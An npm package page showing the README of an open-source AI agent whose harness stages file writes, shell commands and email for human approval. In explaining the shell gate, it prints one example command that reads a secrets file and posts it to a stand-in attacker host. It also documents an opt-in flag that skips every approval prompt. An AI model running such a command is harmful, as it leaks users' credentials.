npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

@buildaharness/aielia

v0.3.3

Published

An open-source AI agent you can hand real work to. Runs the full 11-layer Build A Harness every turn, controlling what it may do, believe and spend, and stages file writes, shell commands and email for your approval. CLI, browser, and desktop.

Readme

@buildaharness/aielia

A general-purpose, everyday-use AI agent you can hand real, multi-step work to — research across a list, files to go through, a message to draft and send. It runs on the full 11-layer harness (@buildaharness/harness) every turn, which controls what it may do, what it may believe, and what a job may cost — light enough for "what's the weather", and it stages anything that can't be undone (write_file, run_shell_command, send_email) for your approval. Website: https://myaielia.com.

Design

The harness here is a governance and reliability control plane, not just a bundle of reasoning layers: the agent (the tool-calling loop in agent-loop.ts) proposes what to do, and a mix of harness- and policy-governed gates decide what's actually allowed to happen — see ADR-003 (harness consolidation) for the 5-primitive model this assistant's design is one instance of. As of 2026-09-06 the tool loop runs inside the harness by default (ASSISTANT_ONE_LOOP, default enabled — the internal plan): HarnessRuntime's own driveMainLoop calls AgentLoop's tool-calling machinery one iteration at a time, and the per-tool-call gate composes the harness's own live ControlState with the turn-local one accumulated from this turn's prior tool outcomes (whichever is more restrictive wins). Setting ASSISTANT_ONE_LOOP=disabled (or /config set oneLoopMode disabled) falls back to the pre-rewire path — the tool loop runs to completion first and the full HarnessRuntime then runs once per turn as bookkeeping over the finished reply — kept for one rollout window as an escape hatch before the flag is removed (ADR-003 finding F-6).

Where a heavy autonomous agent decomposes an objective into a multi-task plan, this assistant treats every chat message as one objective, one task. That keeps HarnessRuntime.run() cheap per turn (no LLM calls inside the harness loop itself — it's synchronous state-machine bookkeeping) while still walking every layer: World Model, Evidence, Hypothesis, Control State, Planning (trivial one-task graph), Execution, Verification, Recovery path, Memory (context compression), Learning (ExperienceStore), and the Reviewer Pass + output validation at the end.

Three things live outside a single harness run, deliberately:

  • Conversation history — each turn's WorldModel/TaskGraph/etc. are scratch state for that turn only, the same way they are for any harness run. The transcript is kept in a MemoryAdapter (in-memory by default; swap in IndexedDBAdapter from @buildaharness/runtime for browser persistence) and fed to the LLM call directly. Alongside every message appended to transcript:<sessionId>, PersonalAssistant also writes a parallel, individually-addressable transcript-msg:<sessionId>:<n> entry (an IndexedMessage — see assistant.ts) so a search can resolve a hit to the one exchange that matched instead of the whole session array. This index is derived, not authoritative: transcript:<sessionId> remains the one source of truth for replay/compaction/export, and index entries are never deleted by transcript-compaction.ts, so a search can still find something that's since aged out of the live (compacted) transcript window. On first construction, PersonalAssistant also runs a one-off, idempotent backfillMessageIndex() in the background (not awaited, so it never delays the first turn) to index any transcript history that predates this feature. FileSystemAdapter.search(), IndexedDBAdapter.search(), and InMemoryAdapter.search() all funnel through the same tokenized, graduated relevance scorer (scoring.ts's scoreEntries()) and are a linear scan over every stored entry, not an inverted index — fine at the message volumes a single personal-use install accumulates over weeks/months, but expect it to get noticeably slower after tens of thousands of messages. The /search command (see the command table below) is the user-facing entry point: PersonalAssistant.searchTranscript() scores every stored entry, keeps only transcript-msg: hits, and returns them ranked, so a real match is never pushed out by an unrelated non-transcript entry scoring higher.
  • Risk classificationrisk-classifier.ts is a cheap keyword heuristic that flags consequential requests (send/delete/pay/post/...) before the harness — and before the one real network call — ever runs. A HIGH risk turn returns status: 'needs_approval' with zero LLM calls spent; call turn(message, { approved: true }) to proceed after the caller confirms. A separate, LLM-backed classifyTurnIntent call (turn-intent-classifier.ts) produces non-consequential hints — decomposition, plan-template match, triviality — plus requiresApproval/isAbandonRequest guesses; those two guesses are never trusted directly. turn-policy.ts's evaluateTurnPolicy()/evaluateAbandonPolicy() always recompute the actual approval requirement and abandon decision from structural signals (riskLevel, isBulkReminderRequest, hasActivePlan) — the classifier's hint is one input, never the decision (INV-14). A classifier error or unparseable response yields riskLevel: 'UNKNOWN', which the policy always routes to requiresApproval: true, never a silent low-risk default.
  • Learning across turnsExperienceStore (strategy weights, learned decompositions, recovery sequences) is in-memory by default; swap in DexieExperienceStore from @buildaharness/runtime so it survives a page reload.

Checkpointing and resume

HarnessRuntime.run()/.resume() are async and can suspend mid-loop, yielding a serializable HarnessCheckpoint after each iteration that makes task progress. PersonalAssistant uses this to survive a crash or reload during a turn, not just between them: every turn writes its checkpoint to a checkpointStore (in-memory by default; swap in IndexedDBAdapter for persistence) keyed by turn:<sessionId>, and deletes it once the turn finishes (normally or via escalation). If turn() is called again for a session that still has a leftover checkpoint — because the previous call never reached that cleanup — it resumes the interrupted harness run instead of silently starting over.

Net effect: one real LLM call per ordinary turn, zero for a blocked one, and every layer of the harness touched on the ones that do run — matching what myaielia.com/harness-comparison calls out as missing from Hermes Agent, Kilo Code, and OpenClaw: none of them ships a formal Control State resolver and a Reviewer/output gate together.

Recovering a stuck checkpoint

Resuming a leftover checkpoint can itself fail — most often because whatever crashed the process partway through a turn crashes again identically on replay. PersonalAssistant tracks failed resume attempts per session (persisted, so it survives the crash too) and, after 2 in a row for the same checkpoint, discards it automatically and starts that turn fresh instead of retrying forever — a checkpoint_discarded trace event marks when this happens. clearCheckpoint(sessionId) / getCheckpointStatus(sessionId) give a caller (the CLI's /checkpoint / /checkpoint clear, see "REPL commands" below) an explicit, scoped way to inspect or discard a checkpoint by hand without waiting for that automatic cap, and without the collateral damage of clearSession() (/clear//new), which also wipes the session's transcript, facts, and plan — previously the only in-product recovery option, short of moving checkpointStore's whole backing directory aside by hand.

Memory tiers

fact-extraction.ts's MemoryTier type ('episodic' | 'semantic' | 'procedural' | 'preference' | 'commitment' | 'identity') is a real, structurally-enforced classification — not just a naming convention — layered on top of the stores that already exist (Phase E of the harness consolidation plan, criticism001 #8 / criticism002 #6: "transcript ≠ memory"). Every UserFact a turn captures gets routed to exactly one tier by tierForFact(), and TIER_RULES fixes each tier's allowed provenance, retention, and whether contradiction detection considers it:

| Tier | Answers | Allowed FactSource | Retention | Contradiction-checked | Where it lives | |---|---|---|---|---|---| | Episodic | "What was said or mused, unconfirmed?" | any | session | no | facts:<sessionId> — also every model_inferred/observed UserFact lands here regardless of its durable bit; an unconfirmed model guess is never Knowledge | | Semantic | "What's currently stated as true?" | user_asserted, externally_verified | durable (by tier policy) | yes | facts:<sessionId> or facts:durable, depending on the existing promotion policy (durable bit) — the tier a fact belongs to and whether it's actually promoted are tracked separately today | | Identity | "Who is this?" (name, "call me X") | user_asserted | durable | yes | facts:durable | | Preference | "What does the user want?" (stated preference) | user_asserted | durable | yes | facts:durable; a configured preference (backend, model, enableShell) is separately AssistantConfig (config.ts), not a UserFact at all | | Procedural | "What worked before?" | none — no UserFact is ever tagged procedural | durable | no | ExperienceStore / DexieExperienceStore — strategy weights, learned decompositions, recovery sequences | | Commitment | "What's pending?" | none — no UserFact is ever tagged commitment | durable | no | reminderStore |

procedural and commitment having an empty allowedSources is structural, not just documented: no UserFact — and therefore nothing a model or the user merely said — can ever populate the Experience or Commitment stores through tierForFact(). That's the enforced half of INV-16 ("no Experience-tier entry is readable as a Knowledge belief"); the other half is that isKnowledgeTier() only returns true for semantic, identity, and preference — episodic entries, procedural weights, and commitments never enter contradiction detection as if they were beliefs.

The conversation transcript itself (transcript:<sessionId>, "what was said" verbatim) and a single turn's AnswerClaim (evidence vs. claim for one reply, see below) sit outside this tier system — they're the raw material a tier's UserFacts get extracted from, not memory tiers themselves.

fact-extraction.ts's TIER_RULES/tierForFact()/isKnowledgeTier() are the canonical reference — update the doc comments there rather than re-deriving the mapping if it changes.

Usage

import { LLMClient } from '@buildaharness/runtime'
import { PersonalAssistant } from '@buildaharness/aielia'

const assistant = new PersonalAssistant({
  llmClient: new LLMClient({ proxyUrl, authToken }),
})

const result = await assistant.turn('What time zone is Tokyo in?')
// { status: 'ok', reply: '...', riskLevel: 'LOW', controlState: {...}, stepsUsed: 1 }

const gated = await assistant.turn('Send an email to my boss saying I quit.')
// { status: 'needs_approval', reason: '...', riskLevel: 'HIGH' } — no LLM call made

await assistant.turn('Send an email to my boss saying I quit.', { approved: true })
// proceeds and runs the harness normally

In a browser, use PersonalAssistant.create() instead of new PersonalAssistant() to default transcript, learning, and checkpoint storage to their IndexedDB/Dexie-backed implementations, so all three survive a page reload:

const assistant = await PersonalAssistant.create({
  llmClient: new LLMClient({ proxyUrl, authToken }),
})

create() only supplies a default for storage the caller didn't already pass in — outside a browser it falls back to the same in-memory defaults as the plain constructor unless the caller passes its own memory/experienceStore/ checkpointStore, which is exactly what the CLI and the Tauri desktop app do (see "Front ends" below) to get real persistence without either of them needing a browser.

Front ends

Three front ends share this one package and harness underneath — none is more "real" than the others, and each picks the storage backend that fits where it runs:

| Front end | Where | Storage | |---|---|---| | This package's PersonalAssistant class | Any Node/browser code | In-memory by default; bring your own MemoryAdapter/ExperienceStore | | CLI (cli.ts, below) | Terminal | FileSystemAdapter/FileSystemExperienceStore (@buildaharness/runtime) over node:fs/promises, under ~/.buildaharness/personal-assistant/ | | @buildaharness/chat-ui | Browser | IndexedDBAdapter/DexieExperienceStore via PersonalAssistant.create() (best-effort — see packages/runtime/README.md's persistence section) | | @buildaharness/desktop | Native window (Tauri, wraps chat-ui) | Same FileSystemAdapter/FileSystemExperienceStore classes as the CLI, but over @tauri-apps/plugin-fs instead of node:fs, under appLocalDataDir() |

Both filesystem backends are the same FileSystemAdapter/FileSystemExperienceStore classes — see packages/runtime/README.md's "Filesystem-backed storage" section for how the file-I/O seam that makes that possible works.

The REPL commands below (/clear, /export, /undo, /memory, /cost, /doctor) have GUI equivalents in chat-ui/desktop too — a header button for each action, and a Settings > Diagnostics section for the read-only ones — reusing this package's formatMemorySummary/formatCostSummary/formatDoctorReport/ formatTranscriptMarkdown/estimateCostUsd exports so both front ends render identical data, never two descriptions of the same facts. See packages/chat-ui/README.md's "Session actions & Diagnostics" section.

File access via tools

PersonalAssistant can give the model real read_file/list_directory/write_file tools, scoped to a single sandboxed workspace directory, by passing a fileTools option:

const assistant = new PersonalAssistant({
  llmClient,
  fileTools: { backend, workspaceRoot: '/path/to/workspace' }, // any FsBackend — node:fs/promises, @tauri-apps/plugin-fs, etc.
})

Absent by default — without it, turn() behaves exactly as before this option existed (a single plain chat call, no tools).

Every path a tool call requests is resolved and validated against workspaceRoot before any I/O: ../ traversal, an absolute path outside the root, and a symlink inside the root that points outside it are all rejected (see file-tools.ts's resolveInWorkspace/assertRealPathInWorkspace). A rejected or errored tool call is reported back to the model as a clear decline, never a silent no-op dressed up as success.

write_file never executes inline. It always stages a proposal — { kind: 'write', path, content, stagedAt } — as JSON under <workspaceRoot>/.pending-actions/<id>.json, and the turn returns status: 'needs_approval' with a pendingActionId (and pendingActionKind: 'write'), the same shape needs_approval already has for a HIGH-risk message, just triggered by the tool call itself rather than a regex over the user's words (a request like "organize my notes into a summary file" doesn't trip the message-level risk gate, yet it performs a real write once the model decides to call write_file). Resume it by ID rather than re-asking the model:

const staged = await assistant.turn('Summarize this into notes.md')
// { status: 'needs_approval', reason: '...', pendingActionId: '...', pendingActionKind: 'write' }

await assistant.turn('Summarize this into notes.md', { approved: true, pendingActionId: staged.pendingActionId })
// applies the exact staged content directly via FsBackend — no second LLM call
// { status: 'ok', reply: 'Wrote "notes.md".' }

Declining ({ approved: false, pendingActionId }) discards the staged record without writing. A pending action left over from a crashed/abandoned turn sits in .pending-actions/ indefinitely — harmless (never applied without an explicit approved: true with the matching ID) but not currently auto-swept. This same staging record shape (a kind discriminator) is shared with run_shell_command (see "Shell access via tools" below) and send_email.

send_email — a real "effect" tool behind the gate

The flagship demo ("send an email to my boss saying I quit") only means something if there's an actual send behind the approval. Pass actionTools with a delivery transport and the model gets a send_email tool staged exactly like write_file — it can only ever propose a recipient/subject/body; the message is delivered only after { approved: true, pendingActionId }, through the injected transport, never by the model.

import { PersonalAssistant, createResendSender } from '@buildaharness/aielia'
// or: import { createSmtpSender } from '@buildaharness/aielia'

const assistant = new PersonalAssistant({
  llmClient,
  actionTools: {
    backend, workspaceRoot,
    sendEmail: createResendSender({ apiKey: process.env.RESEND_API_KEY!, from: '[email protected]' }),
  },
})

const staged = await assistant.turn('Email my boss that I quit.')
// { status: 'needs_approval', pendingActionKind: 'email', reason: 'To: … / Subject: … / …' }
await assistant.turn('Email my boss that I quit.', { approved: true, pendingActionId: staged.pendingActionId })
// delivers the exact staged message; { status: 'ok', reply: 'Sent the email to …' }

In the CLI, set enableEmail + emailProvider (resend or smtp) + emailFrom and the provider credentials via /config or ASSISTANT_EMAIL_* / ASSISTANT_SMTP_* env vars. Without a transport configured, no send_email tool exists — the model can't propose what it can't be given.

Both backends enforce the same "never write inline" rule, by different mechanisms:

  • Proxy/Anthropic backend (LLMClient): PersonalAssistant's tool loop (capped at 5 iterations) calls callChatStructured directly, executes non-mutating tool calls for real, and intercepts write_file itself before it ever reaches file-tools.ts's staging code.
  • Claude CLI backend (ClaudeCliLLMClient): Claude Code's own agentic loop calls a file-tools MCP server (file-tools-mcp-server.mjs) autonomously within a single claude -p invocation — there's no outer TS loop to intercept each call, so the gate lives inside the MCP server's write_file handler instead, which stages exactly the same .pending-actions/<id>.json record. ClaudeCliLLMClient still always passes --tools "" (Claude Code's own built-in Read/Write/Bash stay off) and adds --mcp-config, --strict-mcp-config (ignore any ambient project .mcp.json), and --dangerously-skip-permissions (headless -p mode has no way to answer an interactive tool-permission prompt) only when fileTools or shellTools is configured.

v1 is deliberately read/list/write only — no delete/move tool (higher consequence than a write, no "undo" via re-approval). One workspace root per assistant instance; no multi-root or per-request override. chat-ui doesn't have a write-approval UI yet — file tools are CLI/desktop-only for now.

Clarifying questions

Beyond the write/shell/email approval gate above, turn() can also pause to ask the user a structured, multi-option clarifying question instead of guessing or halting with a bare error — "which deploy target?" with concrete choices, not a free-text missing_info escalation. This is off by default; see "Enabling it" below.

When the harness raises an escalation whose SurfaceBlocker carries a populated questions batch (1–4 questions, each with 2–4 options plus an automatic free-text "Other"), and the effective ask mode (see below) is enabled, turn() returns status: 'needs_clarification' with a pendingClarificationId and the questions array, instead of the terminal status: 'escalated', reply: null shape that same blocker would otherwise produce:

const staged = await assistant.turn('Deploy the app.')
// { status: 'needs_clarification', pendingClarificationId: '...',
//   questions: [{ id: '...', question: 'Which deploy target?', options: [...] }] }

await assistant.turn('Deploy the app.', {
  pendingClarificationId: staged.pendingClarificationId,
  clarificationAnswer: { answers: [{ questionId: '...', kind: 'selected', selectedLabels: ['staging'] }] },
})
// resumes the exact same harness run from its checkpoint with the answer folded in — no
// re-derivation, no second "what did you mean" LLM call
// { status: 'ok', reply: 'Deployed to staging.' }

Like pendingActionId, this is checkpoint-and-resume under the hood, not a literal blocking call: the harness run is checkpointed at the escalation point (reusing the same crash-mid-turn machinery "Checkpointing and resume" above describes) and resumed by ID, never by asking the model to guess again. If more than 4 questions are genuinely material at once, the caller that raised the escalation batches the top 4 and defers the rest — a deferred question only comes back as a follow-up needs_clarification batch if it's still unresolved once the first batch's answers are folded in, resolved through this exact same path.

Two kinds of sites can raise a questions batch: the Trajectory Supervisor's ASK_USER directive (see ADR-005 — currently inert by default, since HARNESS_TRAJECTORY_SUPERVISOR stays off) and a handful of deterministic sites with a genuinely enumerable option set, e.g. a batch-research budget running out ("continue with N more steps" / "stop and summarize" / "let me clarify the goal"). A site with no discrete option set keeps today's plain missing_info halt unchanged — this mechanism never forces a multiple-choice question where the honest answer is open-ended.

Enabling it. Off by default (askMode: 'disabled', matching DEFAULT_ASK_MODE in ask-mode-flag.ts) — with it off, every escalation stays on today's plain escalated/ reply: null path, byte-for-byte. Turn on with the ASSISTANT_ASK_MODE=enabled env var, /config set askMode enabled in the CLI, VITE_ASSISTANT_ASK_MODE=enabled at chat-ui's build time, or a per-turn() { askMode: 'enabled' } override — following oneLoopMode's exact env/build-time/per-call chain. The effective mode is always the most restrictive of (global config, per-session override, per-call-site opt-out): a narrower scope can turn structured questions off even when a broader one left them on, never the reverse. See ADR-006 for the full design and why the default hasn't flipped to 'enabled' yet — the mechanism and its conformance suite are done, but the benchmark run that would justify the flip hasn't happened.

Web access via tools

web_search/fetch_url are read-only — same trust tier as read_file/ list_directory — so both execute for real immediately, with no human approval step, via a webTools option. "No human approval" doesn't mean unchecked: every read-only call, on either backend, is checked against a live, turn-scoped ControlState (deterministic ALLOW/DENY/REQUIRE_APPROVAL, built from how earlier tool calls the same turn went) before it runs — a developing failure pattern can trip a real deny mid-turn. On the proxy backend this happens directly in AgentLoop.runToolIterations (checkToolPolicy()tool-policy.ts's evaluateToolPolicy()); on the claude-cli backend, where tool calls would otherwise resolve invisibly inside the claude subprocess, ClaudeCliLLMClient's startToolGateServer() opens an ephemeral loopback socket before each callChatStructured call and the MCP server's requestToolGate() blocks on it before executing — a deny comes back as an MCP tool error the model sees in its own conversation, and both sides fail open (allow), never closed, on a dead connection or an unparseable response. write_file/run_shell_command/send_email are untouched by this mechanism — they keep staging unconditionally, as below.

const assistant = new PersonalAssistant({
  llmClient,
  webTools: { search: (query) => braveSearch(query, apiKey) }, // any WebSearchResult[]-returning function
})

WebToolsContext.search has no built-in default (the caller supplies a real backend, an API client, etc.) — web-search-provider.ts ships a ready-made one, wired in by the CLI when ASSISTANT_ENABLE_WEB=1 is set (on the claude-cli backend the same one runs inside the file-tools MCP server, since that backend's tools can't take an injected function):

  • braveSearch — queries the Brave Search API, the only backend this app offers. Requires BRAVE_SEARCH_API_KEY (see below). A prior keyless DuckDuckGo-HTML-scraping backend was removed: DuckDuckGo's HTML endpoint resets the TLS connection outright for any non-browser client — a block beneath the HTTP layer no request header or retry can work around.

Both web_search and fetch_url results are wrapped in <untrusted_external_content> (with a warning prefix if a regex heuristic flags instruction-shaped text) before they reach the model — see trust-tagging.ts — since this is content the assistant does not vouch for.

fetch_url refuses to fetch a private, loopback, or link-local network target. Before issuing any request it resolves the target hostname and rejects loopback/RFC1918-private/link-local/cloud-metadata addresses (169.254.169.254 included) — re-checked on every redirect hop, since a public URL can 302 to a private one. A blocked target raises a PrivateNetworkTargetError, reported back to the model as a tool error, never a silent no-op. This is a DNS-resolution-based application check, not a network-level policy — not a substitute for a network-isolated environment if that's a hard requirement.

Independent of fileTools/shellTools — a caller can enable web access without ever exposing the filesystem or shell.

Batch research budget

The flat maxSteps cap that governs an ordinary chat turn (see below) doesn't know the difference between a one-question turn and a turn asking for the same lookup across many items — a 7-item batch and a 1-item question get the same budget. When webTools is configured, a message is also checked against detectHomogeneousBatchList (batch-list-detector.ts) before the flat loop starts: a syntactically explicit list — newline/bullet/numbered lines, ≥3 qualifying entries, name-shaped content (a capitalization-ratio heuristic, not an LLM call) — routes the turn through a separate, self-calibrating budget instead. Anything else (open-ended discovery, free-text comma-enumeration, a list already mid-HarnessRuntime plan run) falls straight through to the flat loop, unchanged.

Once triggered, runBatchToolLoop resolves each item in its own bounded sub-loop, never a shared pool:

  • Probe phase — the first 1–2 items (whichever leaves at least one item unprobed) resolve against a generous fixed cap, and their real cost calibrates a per-item budget (trimmedAverage of calls-per-item, floored so one suspiciously cheap item can't starve the rest, with slack headroom on top) for every item after them — recalibrated again after each one resolves, not frozen at the initial estimate.
  • Per-item dead-end window — each item tracks its own trailing window of classifyToolYield results (tool-yield-classifier.ts); 3 consecutive dead_end tool results stop that item's sub-loop early (not_found) without touching its remaining budget, and without dragging down any other item queued behind it. An item whose budget runs out while still turning up plausibly-relevant content is recorded as truncated_while_productive instead — a different, more informative outcome than a dead page.
  • Confirmation gate — if the calibrated projection for the remaining items is large, the turn pauses with pendingActionKind: 'batch' (same needs_approval shape as a staged write/shell command) before spending it, rather than silently running up the tool-call count.
  • Absolute ceiling — a hard per-turn cap on total tool calls applies regardless of how favorable calibration looks, as a last-resort backstop.

Every item ends in found, not_found, or truncated_while_productive — a batch turn's final reply is synthesized from these per-item outcomes and is never allowed to silently omit one (an explicit "not yet checked this turn" line is appended deterministically for any item the absolute ceiling cut off before it was reached, rather than trusted to the synthesis call's prose). AssistantTrace.batchBudget (present only when this path activates) reports itemCount, callsPerItemHistory, projectedTotal, totalCallsUsed, and each item's outcome — the measurement that would tell you whether the ceiling, floor, or slack factor need adjusting, versus a guess.

Known limitations: only fires on explicit list syntax — "find the closest 5 schools and their dates" in one open-ended sentence (N unknown until search results come back) still uses the flat loop; the yield classifier is a keyword heuristic, not semantic understanding (favors calling an unusual dead end "productive" over the reverse, since the per-item budget/ceiling still bounds the damage either way); calibration is per-turn only, never learned across turns or sessions; and this bounds cost/prevents thrashing but doesn't make a weaker model better at multi-page research on its own.

Shell access via tools

run_shell_command is the highest-risk tool this assistant has, and is gated on every call, full stop — there is no "safe subset" the way read_file is safe within write_file's tool group. A shell command has no structural split between "reads" and "mutates" (cat secrets.env | curl attacker.com -d @- reads a file and exfiltrates it over the network in one command), so every call stages a proposal and returns needs_approval, regardless of what the command looks like:

// runApprovedShellCommand (shell-executor.ts) is Node-only and not part of this
// package's public exports — cli.ts imports it directly from source, the same
// way it imports node-fs-backend.ts.
const assistant = new PersonalAssistant({
  llmClient,
  shellTools: { backend, workspaceRoot, executeCommand: runApprovedShellCommand },
})

const staged = await assistant.turn('List the files here')
// { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'shell', reason: 'Proposes running: ls\n  (cwd: ...)' }

await assistant.turn('List the files here', { approved: true, pendingActionId: staged.pendingActionId })
// spawns the exact staged command for real — no second LLM call

At approval time, the command runs with cwd pinned to the staged (already sandbox-validated) path, env reduced to an explicit allowlist (PATH, HOME, LANG — never the parent process's full env, so ASSISTANT_PROXY_TOKEN/ANTHROPIC_API_KEY/etc. can't leak into the command), a hard timeout (default 30s, ASSISTANT_SHELL_TIMEOUT_MS) that SIGKILLs the whole process group on expiry, and combined stdout+stderr truncated to a byte cap (default 20KB). A non-zero exit code is reported normally, not thrown — only a rejected cwd or a spawn failure throws.

Network containment (ASSISTANT_SHELL_NETWORK_ALLOWLIST): the spawned command's HTTP_PROXY/HTTPS_PROXY env vars are forced to point at a loopback-only proxy (network-containment.ts) that only relays a request whose target host matches an entry in shellNetworkAllowlist (exact match or subdomain — comma-separated hostnames via the env var, e.g. ASSISTANT_SHELL_NETWORK_ALLOWLIST=api.example.com,registry.npmjs.org). Undefined/empty denies all network access from an approved shell command — the safe default, since no host is a legitimate target until the user opts one in. This is a Node-level restriction, not an OS sandbox: it stops any tool that honors proxy env vars (curl, wget, most language HTTP clients) from reaching a non-allowlisted host, but does not stop a tool that opens raw sockets and ignores those env vars entirely. That tradeoff — weaker than real OS-native sandboxing (Linux seccomp/landlock, macOS sandbox-exec, Windows job objects) or a container-per-command, but identical across the CLI and the Tauri desktop app with no new dependency — is deliberate; see the internal plan's Decision 6 for the full comparison.

The command's output gets the same trust boundary as fetch_url/web_search. Once approved, stdout+stderr is wrapped in <untrusted_external_content> (with the same injection-heuristic warning prefix — see trust-tagging.ts) before it's saved into the transcript: a command like cat some-fetched-page.html can carry the same injection-shaped text a fetched web page can, and that reply becomes conversation history a later turn could otherwise misread as instructions.

executeCommand is a required, injected function rather than something shell-tools.ts implements itself: assistant.ts is bundled into the browser build (via index.ts) as well as the CLI, so it never imports node:child_process directly. The real child_process.spawn-based implementation lives in shell-executor.ts (mirrors node-fs-backend.ts — deliberately not exported from this package's index; only cli.ts imports it).

On the Claude CLI backend, run_shell_command is never a Claude Code built-in: ClaudeCliLLMClient never adds Bash to --tools under any configuration (there's a unit test asserting this as a hard invariant) — instead it's served by the same MCP server as the file tools, gated behind ENABLE_SHELL_TOOLS=1, which only stages (never executes), exactly like write_file.

Known limitations: no persistent shell session (each approved command runs in its own fresh subprocess — a cd inside one command doesn't affect the next); no streaming output (only available after the process exits or times out). Shell access is opt-in and off by default — enabling it is a real trust decision this plan makes safe, not risk-free.

CLI

ASSISTANT_PROXY_URL=http://localhost:8787 ASSISTANT_PROXY_TOKEN=... npm run cli --workspace=packages/aielia

Set ASSISTANT_WORKSPACE_DIR to sandbox the file tools to a specific directory (defaults to the CLI's current working directory, mirroring how claude itself defaults to the launch directory):

ASSISTANT_WORKSPACE_DIR=/path/to/workspace npm run cli --workspace=packages/aielia

When the model calls write_file, the CLI prints the proposed path and a content preview and asks for confirmation before the turn is resumed with { approved, pendingActionId } — declining discards the staged write; nothing is ever written without an explicit yes. A run_shell_command call is shown the same way, printing the exact command and resolved cwd instead.

Set ASSISTANT_ENABLE_WEB=1 (plus BRAVE_SEARCH_API_KEY) to give the model real web_search/fetch_url tools (no approval needed — see "Web access via tools" above) and ASSISTANT_ENABLE_SHELL=1 to give it a real, approval-gated run_shell_command tool scoped to ASSISTANT_WORKSPACE_DIR. Both are off by default; ASSISTANT_ENABLE_SHELL must be exactly "1" (a stray ASSISTANT_ENABLE_SHELL=0 left in an env file does not enable it). Optional ASSISTANT_SHELL_TIMEOUT_MS (default 30000) tunes the shell timeout:

ASSISTANT_ENABLE_WEB=1 ASSISTANT_ENABLE_SHELL=1 npm run cli --workspace=packages/aielia

The startup banner only mentions a capability when it's actually enabled — nothing implies web/shell access is available when neither env var is set. ASSISTANT_ENABLE_WEB now works on both backends: the proxy backend calls the injected search function directly, and the Claude CLI backend registers web_search on its file-tools MCP server — both need BRAVE_SEARCH_API_KEY set, since Brave Search is the only backend (see below).

--dangerously-skip-permissions equivalent

Set ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS=1 (or /config set dangerouslySkipPermissions true) to skip every approval prompt automatically — the message-level risk gate (a HIGH-risk message like "send an email...") and write_file/run_shell_command's per-call staging both resolve as if you had already said yes. Off by default, and named to match Claude Code's own flag: it is exactly as dangerous as it sounds — a proposed shell command or file write executes with zero chance to review it first. The underlying sandboxing (workspace-root path scoping, the shell env allowlist, output truncation, the timeout) is unaffected; this only skips the ask, never the limits underneath it. The startup banner switches shell's capability label from "approval-gated" to "NOT approval-gated" and prints an extra line whenever this is on, so it's never silently in effect.

Non-interactive / scripted use

Piping input into the CLI (echo "..." | npm run cli ..., or any non-TTY stdin) used to hit an approval gate as an incidental consequence of readline eagerly draining and closing piped stdin before a slow turn reaches the prompt: rl.question() throws, the fail-closed catch logs a generic [could not read a response — treating as declined], and the turn is declined. That fail-closed outcome was always correct, but it read as something to be rediscovered by piping input at it rather than a documented decision. ASSISTANT_NON_INTERACTIVE_APPROVAL makes it explicit:

  • ASSISTANT_NON_INTERACTIVE_APPROVAL=decline — every approval gate auto-declines immediately, without ever touching stdin. The right choice for scripted/CI use where every HIGH-risk or staged write/shell action should always be rejected outright:

    ASSISTANT_NON_INTERACTIVE_APPROVAL=decline npm run cli --workspace=packages/aielia < script.txt
  • ASSISTANT_NON_INTERACTIVE_APPROVAL=require-tty — fails fast at startup with a clear error if stdin isn't a real TTY, instead of running an entire session that can only discover the problem deep in, at the first approval prompt.

Leaving it unset keeps today's behavior (interactive prompt on a real TTY, fail-closed decline on piped stdin) exactly as before — this only makes the piped-stdin case an intentional choice instead of an implicit one. An unrecognized value is ignored, with a startup warning, rather than silently picking one of the two behaviors for you.

Updates and the update check

aielia --version / aielia --help print and exit. aielia update replaces the standalone binary with the latest release (aielia update --dry-run only reports what it would do): it downloads the binary for your platform, verifies its SHA-256 against the hash published in the release manifest at https://myaielia.com/aielia-latest.json (HTTPS only — anything else is refused), and only then swaps it in. A copy installed with npm can't self-replace, so there it prints npm update -g @buildaharness/aielia instead.

While an interactive session starts, the CLI also does a passive update check: at most once per 24 hours, one plain GET of that manifest (falling back to GitHub's Releases API) — no query string, no identifiers, default User-Agent only — and, if a newer version exists, a one-line notice. The request is visible to GitHub and Cloudflare (which serve myaielia.com). It never runs for scripted use (stdin not a TTY, or ASSISTANT_NON_INTERACTIVE_APPROVAL set). Turn it off with ASSISTANT_UPDATE_CHECK=disabled or /config set updateCheck disabled; the explicit aielia update still works with it off.

Web search needs a Brave Search API key

Brave Search is the only backend web_search supports. Enable web tools with ASSISTANT_ENABLE_WEB=1 and supply BRAVE_SEARCH_API_KEY (get one at api.search.brave.com/app/keys):

ASSISTANT_ENABLE_WEB=1 BRAVE_SEARCH_API_KEY=your-key \
  npm run cli --workspace=packages/aielia

If ASSISTANT_ENABLE_WEB=1 is set without BRAVE_SEARCH_API_KEY, the CLI fails fast at startup with an error rather than silently registering a non-functional web_search. The active state is shown in the startup banner (web search/fetch (brave)). braveApiKey can also be set from inside a running session with /config set instead of an env var — see "Configuration" below.

Set ASSISTANT_LLM_BACKEND=claude-cli to skip the proxy entirely and run turns through a local claude -p subprocess instead, using your already-authenticated Claude Code CLI session rather than an API key (CLAUDE_PATH overrides the claude binary path if it's not on PATH):

ASSISTANT_LLM_BACKEND=claude-cli npm run cli --workspace=packages/aielia

Or skip both the proxy and claude-cli and call a provider directly with your own API key — ASSISTANT_LLM_BACKEND=anthropic|openai|openrouter plus ASSISTANT_API_KEY:

